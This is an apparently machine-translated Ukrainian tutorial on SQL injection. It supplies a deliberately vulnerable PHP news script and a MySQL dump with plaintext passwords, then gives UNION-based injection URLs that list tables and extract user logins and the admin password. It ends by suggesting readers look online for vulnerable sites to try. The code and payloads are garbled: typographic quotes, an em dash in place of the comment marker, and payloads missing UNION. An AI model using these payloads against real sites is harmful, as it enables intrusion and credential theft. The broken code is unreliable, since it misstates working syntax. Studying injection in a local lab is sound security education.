SQL-INJECTION

473
Уразливість SQL-injection
Введення
В даній роботі на прикладі досліджується вразливість типу SQL Injection з використанням СУБД MySQL і PHP скриптів. Відповідно, для розуміння того, що відбувається потрібні знання мови запитів SQL і мови php. Після теоретичної частини будуть наведені приклади коду і буде описано як все це можна перевірити у себе на локальній машині з використанням комплексу DENWER під ОС Windows, хоча можна проробити теж саоме і під іншу ОС, наприклад Linux, використовуючи ту ж базу даних MySQL. Тобто для даного експерименту потрібно:
Веб-сервер Apache
PHP, прикручений до apache
СУБД MySQL
Атака типу SQL Injection — один з найпоширеніших способів злому сайтів і програм, що працюють з базами даних, заснований на впровадженні в запит довільного SQL-коду. Це атака, при якій проводиться вставка шкідливого коду рядка, що передаються потім в базу MySQL, для синтаксичного аналізу і виконання. Ця вразливість може дати можливість атакуючому виконати довільний запит до бази даних (наприклад, прочитати вміст будь-яких таблиць, видалити, змінити або додати дані), отримати можливість зчитування і/або запису локальних файлів і виконання довільних команд на атакується сервері.
Основна форма SQL Injection атаки полягає в прямої вставки коду у вхідні змінні, які об’єднуються з командами SQL і виконуються. Менш явна атака впроваджує небезпечний код рядка, призначені для зберігання в таблиці, або у вигляді метаданих. Коли згодом збережені рядки об’єднуються з динамічною командою SQL, відбувається виконання небезпечного коду.
Атака здійснюється за допомогою передчасного завершення текстового рядка та приєднання до неї нової команди. Оскільки до вставленої команді перед виконанням можуть бути додані додаткові рядки, зловмисник закінчує впроваджувану рядок міткою коментаря «–». Весь подальший текст під час виконання не враховується.
Приклад використання
Як приклад, наведу маленький php скриптик. У ньому новини виводяться з бази даних і відображаються користувачам. Але є одна цікава річ. Досить давно в PHP з’явилася така штука, як магічні лапки — ефект автоматичної заміни лапки на зворотній слеш і лапки при операціях вводу/виводу в PHP. Це зроблено саме для уникнення sql injection у початківців програмістів. За замовчуванням в конфіги php.ini ця функція включена. Нам же, для спрощення проведення випробувань треба її вимкнути:
magic_quotes_gpc = Off у файлі php.ini
Далі наведено приклад скрипта index.php, для якого і можливо провести дослідження вразливості.

php
//Налаштування БД
$script[‘mysql_server’]=’localhost’;//Хост
$script[‘mysql_login’]=’root’;//Логін
$script[‘mysql_password’]=”;//Пароль
$script[‘mysql_db’]=’test’;//Ім’я БД

//Сам скрипт
$body=””;
$body.=”
Новини

“;

mysql_connect($script[‘mysql_server’], $script[‘mysql_login’], $script[‘mysql_password’]) or die (“Не можу підключитися до сервера’);
mysql_select_db($script[‘mysql_db’]) or die (“Не можу підключитися до БД’);

if(!empty($_GET[‘id’]))//Висновок однієї новини
{
$body.=”

Перегляд новини

\n
“;
$id=$_GET[‘id’];
//$zapros=”SELECT * FROM news WHERE id='”.$_GET[‘id’].”‘;”;
//echo($id);
//echo(“
“); // якщо це все розкоментувати то можна буде дивитися яким буде
//echo($zapros); // запит до бази, при зміни id в полі адреси браузера
//echo(“
“);
$zapros=”SELECT * FROM news WHERE id='”.$_GET[‘id’].”‘;”;//Уразливий запит
$result=mysql_query($zapros);
echo(Mysql_error());//Вивід помилки
$data=mysql_fetch_row($result);
//Вивід результату запиту
$body.=”Заголовок: “.$data[‘3’].”\n”;
$body.=””.$data[‘4’].”\n”;
$body.=”Добавленно “.$data[‘5’].” “.$data[‘1’].””. $data[‘2’].”\n

“;
$body.=”Тому”;
}
else //Ну і просте відображення всіх новин(шоб зрозуміліше було де скуль)
{

$body.=”

Всі новини

\n
“;
$zapros=”SELECT * FROM news;”;
$result_z=mysql_query($zapros);
$count_str=mysql_num_rows($result_z);
for($i=1;$i<=$count_str;$i++)
{
$result=@mysql_fetch_assoc($result_z);
$body.=$i.”.”.$result[‘caption’].”
\n”;
}
}
$body.=””;
echo($body);
?>

Далі наводиться дамп бази даних test, з якої вибираються дані в цьому скрипті. Тут є 2 таблиці users і news, з яких вибираються дані в запитах.

CREATE TABLE `news` (
`id` int(11) NOT NULL DEFAULT ‘0’,
`date` varchar(8) NOT NULL DEFAULT “,
`time` varchar(7) NOT NULL DEFAULT “,
`caption` varchar(50) NOT NULL DEFAULT “,
`text` text NOT NULL,
`avtor` varchar(50) NOT NULL DEFAULT “
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;

INSERT INTO `news` VALUES (1, ’01/04/09′, ’12:30′, ‘Превед :)’, ‘Хакнем скриптег! :)\r\пі швидше а то малоли… :P’, ‘Бубл’);
INSERT INTO `news` VALUES (2, ’25/03/09′, ’11:10′, ‘БУгага’, ‘=))) :))\r\пТолько за дизайн вибачаюся… якось кривувато виглядає…’, ‘Бубл’);

CREATE TABLE `users` (
`login` varchar(20) NOT NULL DEFAULT “,
`password` varchar(20) NOT NULL DEFAULT “
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;

INSERT INTO `users` VALUES (‘Admin’, ‘PaSsWoRd’);
INSERT INTO `users` VALUES (‘User’, ‘123456’);
INSERT INTO `users` VALUES (‘Looser’, ‘big_password’);

Методи проведення
Як визначити цей баг
Це досить таки просто. Треба вставляти в усі поля, змінні, куки подвійні і одинарні лапки. Почнемо з ось такого скрипта

http://test1.ru/index.php?id=1

Соответетвенно оригінальний запит виглядає так:

SELECT * FROM news WHERE id=’1′;

Для наочності расскоментируем в скрипті index.php рядки, тоді вгору втраницы буде відображатися здачение id, що передається з адресного рядка браузера і сам запит до бази даних.

//$zapros=”SELECT * FROM news WHERE id='”.$_GET[‘id’].”‘;”;
//echo($id);
//echo(“
“); // якщо це все розкоментувати то можна буде дивитися яким буде
//echo($zapros); // запит до бази, при зміни id в полі адреси браузера
//echo(“
“);

Тепер ми допишемо лапки в змінну “id”, ось так

http://test1.ru/index.php?id=1′

якщо змінна не фільтрується і включені повідомлення про помилки то вилізе щось на зразок:

mysql_query(): You have an error in your SQL syntax; check that the manual corresponds to your MySQL server version for the right syntax to use near ‘1″

Так як в запиті до БД буде присутня зайва лапки:

SELECT * FROM news WHERE id=’1″;

Якщо звіт про помилки вимкнений то в даному випадку можна визначити наявність уразливості ось так:

http://test1.ru/index.php?id=1′; — ‘

Тобто запит до БД стане ось таким:

SELECT * FROM news WHERE id=’1′; — “;

“–“ це знак початку коментаря все після нього буде відкинуто, після нього обов’язково повинен бути пробіл і перед ним теж). Таким чином для MYSQL запит залишається колишнім і відобразитися теж саме що і для

http://test1.ru/index.php?id=1

Як можна з цього отримати щось корисне
Для початку найкорисніше це команда UNION. Модифікуємо звернення до скрипту

http://test1.ru/index.php?id=1′ UNION SELECT 1 — ‘

Запит до БД у нас виходить ось таким:

SELECT * FROM news WHERE id=’1′ UNION SELECT 1 — “;

Але є одне обмеження-кількість стовпців до і після UNION повинно бути однаковим, відповідно його доведеться підбирати.
У нашому прикладі, як видно з дампу бази — полів 6, відповідно нам підійде

http://test1.ru/index.php?id=1′ SELECT 1,2,3,4,5,6 — ‘

Результатом виведення такої команди буде те ж що і повинно виводитися без команди UNION. Але нам цікаво побачити які-небудь інші дані з бази, тоді замінимо id=1 id=-1 і продовжимо. Причому замінювати необов’язково на -1, просто потрібно вибрати таке значення яке не вибирається з БД, в нашому випадку полів 6, так що може підійти будь-значення більше 6 або менше 1.
Рыщем за таблицями
Якщо є доступ до INFORMATION_SCHEMA і якщо версія MYSQL >=5, то можна зробити так:

http://test1.ru/index.php?id=-1′ SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 42,1 — “;

Де 42,1 — 42 – буде назвою таблиці, причому нумерація йде з першої БД. Тобто якщо є кілька баз, то будуть показуватися таблиці з усіх наявних баз даних — нумерація наскрізна. Природно ці назви будуть показуватися в якомусь з полів виводу сторінки. Точніше, вони будуть показуватися в те поле, в яке ми поставили TABLE_NAME, тобто у нас назву таблиці буде відображатися в полі номер 4, тобто замість заголовка новини.

http://test1.ru/index.php?id=-1′ SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 41,1 — “;

Починаючи з номера LIMIT 41,1 починається шукана нами база даних test. Відповідно будуть показуватися назви таблиць бази даних у полі 4.

Якщо використовувати такий запит:

http://test1.ru/index.php?id=-1′ SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 42,1 — “;

То отримаємо:

SQL-INJECTION

Так ми знаходимо назву таблиці. Далі знаходимо назви полів і т. д. В результаті можна одержати які-небудь логіни і паролі. На останньому етапі, знаючи назви таблиць і їх полів можна зробити такий запит. Ми спробуємо переглянути користувачів з таблиці users. Також можна було перебирати щоб дізнатися назви полів таблиці, але ми відразу принали що це поля називаються login і password.

http://test1.ru/index.php?id=-1′ SELECT 1,2,login,password,5,6 FROM users LIMIT 1,1 — ‘

В результаті бачимо:

SQL-INJECTION

http://test1.ru/index.php?id=-1′ SELECT 1,2,login,password,5,6 FROM users LIMIT 2,1 — ‘

В результаті:

SQL-INJECTION

В результаті виведуться login і password першого і другого користувача. Вони будуть виводитися на тих місцях, де повинна спочатку була виводитися інформація з полів 3 і 4.
І найцікавіше, якщо написати

http://test1.ru/index.php?id=-1′ SELECT 1,2,login,password,5,6 FROM users LIMIT 0,1 — ‘

Так ми побачимо:

SQL-INJECTION

В результаті ми можемо дізнатися дані, які не відображаються на сайті. У даному прикладі ми подивилися админский пароль і може продовжувати веселощі =).
Ну а перевірити свої сили можна поставивши у себе на ПК Денвер ну або ж шукати в інеті сайти з уразливими SQL-INJECTION